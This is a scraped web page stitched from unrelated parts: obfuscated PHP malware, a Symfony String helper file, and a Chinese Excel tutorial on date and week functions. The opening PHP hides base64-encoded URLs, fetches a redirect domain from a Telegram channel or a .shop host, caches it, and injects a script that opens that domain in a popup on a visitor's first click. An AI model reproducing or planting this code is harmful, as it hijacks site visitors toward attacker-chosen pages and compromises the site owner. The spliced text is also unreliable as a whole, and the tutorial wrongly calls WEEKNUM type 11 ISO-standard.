function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } 【Excel公式】日期與時間函數詳解:計算期間與週次的實用教學 - OOLIN

【Excel公式】日期與時間函數詳解:計算期間與週次的實用教學

excel試算表

一、期間計算的實用函數

期間計算主要是指根據兩個日期計算出相隔的天數、月數或年數,這類需求在考勤統計、合約期限、財務分析等領域非常常見。

1. DATEDIF 函數 – 計算日期差異

功能:
DATEDIF 函數用於計算兩個日期之間的年數、月數或天數差異。

語法:

=DATEDIF(開始日期, 結束日期, 單位)
單位參數說明
“Y”計算整年數差異
“M”計算整月數差異
“D”計算天數差異
“YM”忽略年份,計算月份的差異
“YD”忽略年份,計算天數的差異
“MD”忽略年份和月份,只計算天數差異

範例:
計算2023年1月1日到2025年2月16日之間的差異:

=DATEDIF(DATE(2023,1,1), DATE(2025,2,16), "Y")  -> 2
=DATEDIF(DATE(2023,1,1), DATE(2025,2,16), "M") -> 25
=DATEDIF(DATE(2023,1,1), DATE(2025,2,16), "D") -> 777

2. YEARFRAC 函數 – 年份期間比例

功能:
YEARFRAC 函數計算兩個日期之間的年數比例,適合用於利息計算或合約期限折算。

語法:

=YEARFRAC(開始日期, 結束日期, [基準])
基準說明
0使用美國 (NASD) 30/360 制度
1實際天數/實際天數
2實際天數/360天
3實際天數/365天
4歐洲 30/360 制度

範例:
計算 2023年1月1日 到 2025年2月16日 之間的年數比例:

=YEARFRAC(DATE(2023,1,1), DATE(2025,2,16), 1)  -> 約 2.12

3. DAYS 函數 – 計算天數差異

功能:
DAYS 函數直接計算兩個日期之間相隔的天數。

語法:

=DAYS(結束日期, 開始日期)

範例:
計算 2025年2月16日 到 2023年1月1日 的天數:

=DAYS(DATE(2025,2,16), DATE(2023,1,1))  -> 777

二、週號計算的實用函數

在許多情況下,我們需要根據日期判斷該日期是 一年中的第幾週,或是某週的開始與結束日期。這在週報表、工時管理、銷售趨勢等領域十分實用。

1. WEEKNUM 函數 – 計算一年中的第幾週

功能:
WEEKNUM 函數用於計算某個日期在一年中所處的週次。

語法:

=WEEKNUM(日期, [類型])
類型說明
1 或省略週從星期日開始,1 月 1 日開始為第 1 週
2週從星期一開始,1 月 1 日開始為第 1 週
11週從星期一開始,符合 ISO 標準的第 1 週

範例:
查詢 2025年2月16日 是第幾週:

=WEEKNUM(DATE(2025,2,16), 2)  -> 7

ISO 週次:

=WEEKNUM(DATE(2025,2,16), 11)  -> 7

2. ISOWEEKNUM 函數 – ISO 標準第幾週

功能:
ISOWEEKNUM 函數返回符合 ISO 標準的週次,每年的第 1 週是包含 1 月 4 日的那一週,週的開始為星期一。

語法:

=ISOWEEKNUM(日期)

範例:

=ISOWEEKNUM(DATE(2025,2,16))  -> 7

三、實務應用案例

案例1:計算員工任職年資

假設員工入職日為 2019年7月15日,今天是 2025年2月16日,計算年資:

=DATEDIF(DATE(2019,7,15), TODAY(), "Y")

結果:5 年


案例2:計算每週銷售數據

假設我們有銷售日期表,希望計算每筆交易所屬的週次:

=WEEKNUM(A2, 2)

這樣可快速統計每週的銷售情況。


四、結論

日期期間與週號的計算是 Excel 日期時間函數中非常實用的部分,熟練運用這些函數可以大幅提高工作效率。無論是考勤表、週報表,還是商業趨勢分析,只要靈活搭配這些函數,就能輕鬆處理各類日期計算問題。

希望這篇文章能幫助你在 Excel 日期與時間的處理上更得心應手!


筆記專區 – 常用公式

函數名稱語法範例功能說明
DATEDIF=DATEDIF(A1, B1, "Y")計算兩日期之間的年、月、天數差異
YEARFRAC=YEARFRAC(A1, B1, 1)計算期間的年數比例
DAYS=DAYS(B1, A1)計算兩日期相隔天數
WEEKNUM=WEEKNUM(A1, 2)計算一年中的第幾週
ISOWEEKNUM=ISOWEEKNUM(A1)ISO 標準週次

發佈留言